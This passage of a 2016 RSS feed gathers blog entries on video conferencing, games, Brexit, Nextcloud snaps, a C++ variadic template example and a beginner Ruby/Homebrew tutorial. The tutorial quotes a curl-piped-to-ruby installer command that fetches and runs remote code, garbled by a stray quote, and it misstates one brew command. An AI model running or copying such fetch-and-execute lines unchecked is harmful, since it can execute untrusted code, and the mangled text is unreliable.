Conference Part 2: Joint Photographic Hell (For Beginners)</title><link>https://bengarney.com/2016/06/25/video-conference-part-2-joint-photographic-hell-for-beginners/</link><description>Last time, I got angry at Skype and metaphorically flipped the table by starting to write my own video conference application. We got a skeleton of a chat app and a video codec up, only to find it had a ludicrous 221 megabit bandwidth requirement. We added some simple compression but didn&amp;#8217;t get much return from our [&amp;#8230;]</description><author>Ben Garney</author><pubDate>Sun, 26 Jun 2016 08:39:17 GMT</pubDate><guid isPermaLink="true">https://bengarney.com/2016/06/25/video-conference-part-2-joint-photographic-hell-for-beginners/</guid></item><item><title>Video Conference Part 1: These Things Suck</title><link>https://bengarney.com/2016/06/25/video-conference-part-1-these-things-suck/</link><description>What I cannot create, I do not understand. &amp;#8211; Richard Feynman I do a lot of video chat for work. If it&amp;#8217;s not a one on one, it&amp;#8217;s pair programming. If it&amp;#8217;s not pair programming, it&amp;#8217;s a client meeting. I use a lot of Skype and Hangouts. Sometimes they don&amp;#8217;t work for unclear reasons. Sometimes [&amp;#8230;]</description><author>Ben Garney</author><pubDate>Sun, 26 Jun 2016 08:21:47 GMT</pubDate><guid isPermaLink="true">https://bengarney.com/2016/06/25/video-conference-part-1-these-things-suck/</guid></item><item><title>My Trip to Japan</title><link>https://thomashunter.name/posts/2016-06-26-2016-my-trip-to-japan</link><author>Thomas Hunter II</author><pubDate>Sun, 26 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2016-06-26-2016-my-trip-to-japan</guid></item><item><title>P⋅O⋅L⋅L⋅E⋅N and Walk 'em ups</title><link>https://bastibe.de/2016-06-26-pollen.html</link><description>&lt;p&gt;I like boring games. I like games that give me time to think. Like &lt;a href="http://x-plane.org/"&gt;flight&lt;/a&gt; &lt;a href="http://www.prepar3d.com/"&gt;simulators&lt;/a&gt;, &lt;a href="http://eurotrucksimulator2.com/"&gt;truck&lt;/a&gt; &lt;a href="http://www.americantrucksimulator.com/"&gt;simulators&lt;/a&gt;, &lt;a href="https://en.wikipedia.org/wiki/Civilization_V"&gt;history simulators&lt;/a&gt;, and (don't call them walking simulators) &lt;a href="https://en.wikipedia.org/wiki/The_Stanley_Parable"&gt;walk&lt;/a&gt; '&lt;a href="http://gonehome.game/"&gt;em&lt;/a&gt; &lt;a href="http://www.firewatchgame.com/"&gt;ups&lt;/a&gt;. And this weekend, this year's Steam Summer Sale started, and thus it was time to get some gaming done!&lt;/p&gt;
&lt;p&gt;First, I played &lt;a href="https://en.wikipedia.org/wiki/Everybody%27s_Gone_to_the_Rapture"&gt;Everybody's Gone to the Rapture&lt;/a&gt;, a walk 'em up that got good reviews, and was especially praised for it's story. And it dutifully enraptured me, with its British landscapes, and personal story lines. But somehow it didn't quite connect. Maybe I'm not &lt;a href="http://www.gamesradar.com/how-enjoy-everybodys-gone-rapture-real-englishman-explains/"&gt;British&lt;/a&gt; enough, and I certainly didn't get all of the story. Still, this is well worth picking up, and visiting a digital Shropshire after just having visited the real one earlier this year was a real treat!&lt;/p&gt;
&lt;p&gt;Second, I played P⋅O⋅L⋅L⋅E⋅N. It did not start well: The download took ages, I had to unplug all that fancy flight simulation gear to get it to recognize my controller, and performance was rather lackluster. Oh, and reviews were rather mediocre, too. (Also, here's a free tip for you if you games developers: putting fancy Unicode characters into your game title does not improve SEO).&lt;/p&gt;
&lt;p&gt;But, I entirely fell in love with P⋅O⋅L⋅L⋅E⋅N! You arrive on &lt;a href="https://en.wikipedia.org/wiki/Titan_(moon"&gt;Titan&lt;/a&gt;) in your dinky near-future space capsule, take a short walk on the surface of the moon, and then explore the local space station. Of course, something went wrong, and the space station is deserted. Oh, and there is something about space bees.&lt;/p&gt;
&lt;p&gt;What really worked for me here was the environmental story telling. This is a space station much in the tradition of &lt;a href="https://typesetinthefuture.com/2014/01/31/2001-a-space-odyssey/"&gt;2001: A Space Odyssey&lt;/a&gt; and &lt;a href="https://typesetinthefuture.com/2014/12/01/alien/"&gt;Alien&lt;/a&gt;. It's that perfect utilitarian and inhumanely sterile work place that human corporation always strive for, and human employees always mess up. The stark industrial bleakness of these &lt;a href="http://scificorridorarchive.com/"&gt;space corridors&lt;/a&gt; is the perfect backdrop to make those little human irregularities really stand out.&lt;/p&gt;
&lt;p&gt;There is no conflict, only light puzzles, and the story is developed only through voice diaries and environmental clutter. But in contrast to Rapture, it all makes sense. The futurist setting, the deep humanity of the people dealing with it. The creepiness of machines without operators. The struggle of the scientists and engineers against the forces of nature and greedy corporations. The nods —nay— genuflections to everything that has ever been great in Scifi. Even that Kubrick ending. I loved every inch of this! ★★★★★&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Sun, 26 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2016-06-26-pollen.html</guid></item><item><title>Brexit is also a wake-up call for the Open Data movement</title><link>https://stop.zona-m.net/2016/06/brexit-is-also-a-wake-up-call-for-the-open-data-movement/</link><description>&lt;p&gt;What is Open Data? Open Data is something with which we can&amp;hellip;&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 25 Jun 2016 20:32:41 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2016/06/brexit-is-also-a-wake-up-call-for-the-open-data-movement/</guid></item><item><title>On Brexit, young people "betrayed" by their elders, and voting</title><link>https://stop.zona-m.net/2016/06/on-brexit-young-people-betrayed-by-their-elders-and-voting/</link><description>I have a strong feeling that certain headlines and assertions about the Brexit result are if not factually wrong, at least very misleading. I refer to statements that summarize charts and tables like the ones above in this way:
    &amp;ldquo;The U.K.’s Old Decided for the Young in the Brexit Vote&amp;rdquo; &amp;ldquo;Brexit is a middle finger from the baby boomers to young people like me&amp;rdquo; &amp;ldquo;Young screwed by older generations&amp;rdquo; &amp;ldquo;Young voters wanted Brexit the least - and will have to live with it the longest&amp;rdquo;  Fact is, it was very clear, well before the vote, that opinions varied greatly across age ranges and that</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 25 Jun 2016 16:25:08 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2016/06/on-brexit-young-people-betrayed-by-their-elders-and-voting/</guid></item><item><title>Snapping Nextcloud: Nextcloud itself</title><link>https://kyrofa.com/posts/snapping-nextcloud-nextcloud-itself/</link><description>In the previous post of this series, we discussed the process of and lessons learned from building Redis for the Nextcloud snap. That means we&amp;rsquo;ve covered all the major pieces except for Nextcloud itself, so for this post that&amp;rsquo;s what we&amp;rsquo;ll focus on getting that into the snap.
As I mentioned previously, Nextcloud is a PHP application. As such, it&amp;rsquo;s not difficult to get working with Apache or MySQL. However, it was written in such a way to make its deployment as easy as possible (e.</description><author>kyrofa's blog</author><pubDate>Sat, 25 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://kyrofa.com/posts/snapping-nextcloud-nextcloud-itself/</guid></item><item><title>C++ variadic template example</title><link>https://studiofreya.org/cpp/cpp-templates/cpp-variadic-template-example/</link><description>&lt;h2 id="complete-example-with-variadic-templates"&gt;Complete example with variadic templates&lt;/h2&gt;
&lt;p&gt;This is the least viable and one of the most simple examples on how to use C++11 Variadic Templates. This sample has been tested with Microsoft Visual Studio 2015 and GCC 4.7.3.&lt;/p&gt;
&lt;p&gt;The code is also available at &lt;a href="https://github.com/Studiofreya/code-samples/tree/master/variadic-templates-primer" title="Github"&gt;Github&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This example will use &lt;em&gt;perfect forwarding&lt;/em&gt; with variadic templates to create a class wrapper around a structure, which again call the correct constructors in the structure.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;//=================================================================
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;//	VariadicTemplate.cpp:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;//=================================================================
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;#include&lt;/span&gt; &lt;span style="color: #75715e;"&gt;&amp;lt;iostream&amp;gt;&lt;/span&gt;&lt;span style="color: #75715e;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;#include&lt;/span&gt; &lt;span style="color: #75715e;"&gt;&amp;lt;memory&amp;gt;&lt;/span&gt;&lt;span style="color: #75715e;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;#include&lt;/span&gt; &lt;span style="color: #75715e;"&gt;&amp;lt;type_traits&amp;gt;&lt;/span&gt;&lt;span style="color: #75715e;"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;struct&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;SomeStruct&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	SomeStruct()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;		std&lt;span style="color: #f92672;"&gt;::&lt;/span&gt;cout &lt;span style="color: #f92672;"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style="color: #e6db74;"&gt;"SomeStruct()&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;\n&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	SomeStruct(&lt;span style="color: #66d9ef;"&gt;int&lt;/span&gt; a)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;		std&lt;span style="color: #f92672;"&gt;::&lt;/span&gt;cout &lt;span style="color: #f92672;"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style="color: #e6db74;"&gt;"SomeStruct(int a)&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;\n&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	SomeStruct(&lt;span style="color: #66d9ef;"&gt;const&lt;/span&gt; std&lt;span style="color: #f92672;"&gt;::&lt;/span&gt;string &lt;span style="color: #f92672;"&gt;&amp;amp;&lt;/span&gt; str)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;		std&lt;span style="color: #f92672;"&gt;::&lt;/span&gt;cout &lt;span style="color: #f92672;"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style="color: #e6db74;"&gt;"SomeStruct(const std::string &amp;amp; str)&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;\n&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	SomeStruct(&lt;span style="color: #66d9ef;"&gt;const&lt;/span&gt; std&lt;span style="color: #f92672;"&gt;::&lt;/span&gt;string &lt;span style="color: #f92672;"&gt;&amp;amp;&lt;/span&gt; str, &lt;span style="color: #66d9ef;"&gt;int&lt;/span&gt; a)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;		std&lt;span style="color: #f92672;"&gt;::&lt;/span&gt;cout &lt;span style="color: #f92672;"&gt;&amp;lt;&amp;lt;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;			&lt;span style="color: #e6db74;"&gt;"SomeStruct(const std::string &amp;amp; str, int a)&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;\n&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;"&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;template&lt;/span&gt;&lt;span style="color: #f92672;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;typename&lt;/span&gt; T&lt;span style="color: #f92672;"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;class&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;ClassWrapper&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #66d9ef;"&gt;public&lt;/span&gt;&lt;span style="color: #f92672;"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;		&lt;span style="color: #66d9ef;"&gt;typedef&lt;/span&gt; T					type;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;		&lt;span style="color: #66d9ef;"&gt;typedef&lt;/span&gt; std&lt;span style="color: #f92672;"&gt;::&lt;/span&gt;unique_ptr&lt;span style="color: #f92672;"&gt;&amp;lt;&lt;/span&gt;T&lt;span style="color: #f92672;"&gt;&amp;gt;&lt;/span&gt;	type_ptr;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;		&lt;span style="color: #66d9ef;"&gt;typedef&lt;/span&gt; ClassWrapper&lt;span style="color: #f92672;"&gt;&amp;lt;&lt;/span&gt;T&lt;span style="color: #f92672;"&gt;&amp;gt;&lt;/span&gt;		this_type;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #66d9ef;"&gt;public&lt;/span&gt;&lt;span style="color: #f92672;"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;		&lt;span style="color: #66d9ef;"&gt;template&lt;/span&gt;&lt;span style="color: #f92672;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #66d9ef;"&gt;typename&lt;/span&gt; ... Args&lt;span style="color: #f92672;"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;		&lt;span style="color: #66d9ef;"&gt;static&lt;/span&gt; type_ptr Create(Args&lt;span style="color: #f92672;"&gt;&amp;amp;&amp;amp;&lt;/span&gt;...args)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;		{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;			&lt;span style="color: #66d9ef;"&gt;return&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;type_ptr&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;				&lt;span style="color: #66d9ef;"&gt;new&lt;/span&gt; T(std&lt;span style="color: #f92672;"&gt;::&lt;/span&gt;forward&lt;span style="color: #f92672;"&gt;&amp;lt;&lt;/span&gt;Args&lt;span style="color: #f92672;"&gt;&amp;gt;&lt;/span&gt;(args)...)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;			);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;		}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;int&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;main&lt;/span&gt;(&lt;span style="color: #66d9ef;"&gt;int&lt;/span&gt; args, &lt;span style="color: #66d9ef;"&gt;char&lt;/span&gt; &lt;span style="color: #f92672;"&gt;**&lt;/span&gt; argv, &lt;span style="color: #66d9ef;"&gt;char&lt;/span&gt; &lt;span style="color: #f92672;"&gt;**&lt;/span&gt; arge)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #75715e;"&gt;// Create a typedef to safe typing
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #66d9ef;"&gt;typedef&lt;/span&gt; ClassWrapper&lt;span style="color: #f92672;"&gt;&amp;lt;&lt;/span&gt;SomeStruct&lt;span style="color: #f92672;"&gt;&amp;gt;&lt;/span&gt;	CWSS;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #75715e;"&gt;// Exercise the different SomeStruct 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #75715e;"&gt;// constructors (ctor) through ClassWrapper  
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #66d9ef;"&gt;auto&lt;/span&gt; p1 &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; CWSS&lt;span style="color: #f92672;"&gt;::&lt;/span&gt;Create();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #66d9ef;"&gt;auto&lt;/span&gt; p2 &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; CWSS&lt;span style="color: #f92672;"&gt;::&lt;/span&gt;Create(&lt;span style="color: #ae81ff;"&gt;123&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #66d9ef;"&gt;auto&lt;/span&gt; p3 &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; CWSS&lt;span style="color: #f92672;"&gt;::&lt;/span&gt;Create(&lt;span style="color: #e6db74;"&gt;"string"&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #66d9ef;"&gt;auto&lt;/span&gt; p4 &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; CWSS&lt;span style="color: #f92672;"&gt;::&lt;/span&gt;Create(&lt;span style="color: #e6db74;"&gt;"string"&lt;/span&gt;, &lt;span style="color: #ae81ff;"&gt;234&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #75715e;"&gt;/*
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;	Output should be:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;	SomeStruct()
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;	SomeStruct(int a)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;	SomeStruct(const std::string &amp;amp; str)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;	SomeStruct(const std::string &amp;amp; str, int a)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #75715e;"&gt;	*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #66d9ef;"&gt;return&lt;/span&gt; &lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description><author>Studiofreya SSG Site</author><pubDate>Fri, 24 Jun 2016 19:49:04 GMT</pubDate><guid isPermaLink="true">https://studiofreya.org/cpp/cpp-templates/cpp-variadic-template-example/</guid></item><item><title>Ramsay Bolton's sub story</title><link>http://dimitarsimeonov.com/2016/06/24/ramsay-boltons-sub-story</link><description>&lt;p&gt;This essay contains &lt;strong&gt;SPOILERS for Game of Thrones, season 6 episode
9&lt;/strong&gt;x.&lt;/p&gt;

&lt;p&gt;In this episode we see Jon Snow, the “good guy”, meet Ramsey Bolton,
the horrible monster character in battle. The good guy’s army wins by
last minute support by the knights of the Vale, and the bad guy is given a gruesome death at the mouths of his hounds, starved for seven days.&lt;/p&gt;

&lt;p&gt;Viewers get giddy at the death of Ramsay, as Sansa, the girl he had
raped and tortured gets her revenge. Finally the bad guy gets what he
deserved…&lt;/p&gt;

&lt;p&gt;Lets zoom in here. To call Ramsay “bad guy” is quite an understatement
as he enjoys torturing and humiliating people for its sake. The books
set him up as a terrible person, and the show goes much further,
making him one of the main hated characters. He is cunning, clever,
merciless and tortuous. All of this builds up towards the final scene
where he is defeated.&lt;/p&gt;

&lt;p&gt;So it seems like the audience has won. The people they root for got
victorious and the bad guy got served. But not really.&lt;/p&gt;

&lt;p&gt;The viewers got served. Of course Ramsay will eventually lose. This is
the story which sells best. It is just entertainment. GRRM figured out
that it is quite entertaining for people when they don’t know what
will happen, so he engineered a plot in which the expected champion of
the “good side” does not win (i.e. red wedding), and we are gradually
let to simpatize with characters we hated before and to dislike
characters we were rooting for.&lt;/p&gt;

&lt;p&gt;That’s in the books. In the show,… it is business as usual. The show
entertains by sticking to a plot. The story development is
entertaining. The keyword is &lt;strong&gt;story&lt;/strong&gt;. The show and the books are
entertaining because they follow a story. And this constrains
them. For there to be a story, there need to be a conflict,
development and resolution. If they only include one or two of these
parts, it wouldn’t be a complete story. And stories are what sell the
books and get people to watch the show. Stories are entertainment.&lt;/p&gt;

&lt;p&gt;I noticed a different type of “entertainment” in Hemingway’s
stories. I was reading one of them, from his book “In our time”. In
the story, based in a small Italian village after WWI, a German couple
visits is recruited by a drunk old vet to go fishing out of season. As
they get near the river, the couple gradually bails out. As a story,
it is quite a shitty and boring story.&lt;/p&gt;

&lt;p&gt;But what makes the story entertaining, is the emotional dynamic
between the subjects. The couple had some quarrel during lunch which
affects the tone with which they talk to each other. The old drunkard
has different motivations - to live off of their generosity as a
guide, instead of doing hard labor. There is a back-story which is only
hinted about with clues. Reading the story again and again creates a
fuller picture of the situation, and changes our interpretation.&lt;/p&gt;

&lt;p&gt;Hemingway’s tale is entertaining because it is like a puzzle. What
appears initially to be the story, is not the actual story by rather a
camouflage of the sub-story. Getting to the sub-story is
requires a bit of work from the reader, and could be quite strenuous,
but then the view and the feeling is powerful and moving.&lt;/p&gt;

&lt;p&gt;I still love watching “Game of Thrones”, even though Ramsay’s death
didn’t have much of a sub-story. The quality of execution in the show
is world-class. The acting is often phenomenal, and the story is
captivating. I’m looking forward to the season finale this Sunday. I
also love reading the books. They actually contain quite a bit of
sub-story.&lt;/p&gt;

&lt;p&gt;Looking for the sub-stories makes “Game of Thrones” and the whole
ASOIAF series not just entertaining, but also transformative.&lt;/p&gt;</description><author>D13V</author><pubDate>Fri, 24 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/06/24/ramsay-boltons-sub-story</guid></item><item><title>Snapping Nextcloud: The memcache</title><link>https://kyrofa.com/posts/snapping-nextcloud-the-memcache/</link><description>In the previous post of this series, we discussed the process of and lessons learned from building MySQL for the Nextcloud snap. The last piece of infrastructure we need to introduce is the memcache, for which we&amp;rsquo;ll use Redis. Nextcloud supports a number of memcache backends; I chose Redis because it can provide both a local cache as well as file locking, so for this post that&amp;rsquo;s what we&amp;rsquo;ll focus on getting into the snap.</description><author>kyrofa's blog</author><pubDate>Fri, 24 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://kyrofa.com/posts/snapping-nextcloud-the-memcache/</guid></item><item><title>Trello vs. Asana</title><link>http://blog.untrod.com/2016/06/trello-vs-asana.html</link><description>&lt;p&gt;In two totally different companies over the past 4 years, across
different personalities, teams, and processes, I've seen Asana
rejected no fewer than a dozen times in favor of Trello, in spite of
multiple executive mandates to use Asana.&lt;/p&gt;


&lt;p&gt;In both companies, management (of which I am a part) made …&lt;/p&gt;</description><author>Untrod</author><pubDate>Thu, 23 Jun 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">http://blog.untrod.com/2016/06/trello-vs-asana.html</guid></item><item><title>Ruby Tutorial 001</title><link>https://josh.works/programming/2016/06/23/ruby-tutorial-001/</link><description>&lt;p&gt;I’m playing with 
&lt;a href="http://www.michaelhartl.com/"&gt;Michael Hartl’s&lt;/a&gt; 
&lt;a href="https://www.railstutorial.org/book/beginning#sec-installing_rails"&gt;Learn Enough Ruby&lt;/a&gt; book.&lt;/p&gt;

&lt;p&gt;I’ll throw basic things I learn along the way on here.&lt;/p&gt;

&lt;p&gt;A good starting point is using your command line. I use 
&lt;a href="https://www.iterm2.com/"&gt;iTerm2&lt;/a&gt; for my terminal instead of the default Terminal installation.&lt;/p&gt;

&lt;p&gt;To get up and running in your terminal, you 
might start using 
&lt;a href="http://brew.sh/"&gt;Homebrew&lt;/a&gt;. It’ll install programs you will want/need easily, and keep them up to date. Lots of tools you need have installation instructions that says&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;To install:&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;brew install wget&lt;/p&gt;

&lt;p&gt;Which means, in your terminal, type 
brew wget and Homebrew will install the application, all dependencies, 
and will keep it up to date.&lt;/p&gt;

&lt;p&gt;How do you install Homebrew? Per their instructions, copy-paste the following to your terminal:&lt;/p&gt;

&lt;p&gt;/usr/bin/ruby -e “$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)&lt;/p&gt;

&lt;p&gt;So, your first program to download can be iTerm2. Once brew is installed, type this into your terminal:&lt;/p&gt;

&lt;p&gt;brew install iterm2&lt;/p&gt;

&lt;p&gt;And you’ve got it installed!&lt;/p&gt;

&lt;h3 id="additional-resources"&gt;Additional resources:&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="http://www.howtogeek.com/211541/homebrew-for-os-x-easily-installs-desktop-apps-and-terminal-utilities/"&gt;http://www.howtogeek.com/211541/homebrew-for-os-x-easily-installs-desktop-apps-and-terminal-utilities/&lt;/a&gt;&lt;/li&gt;
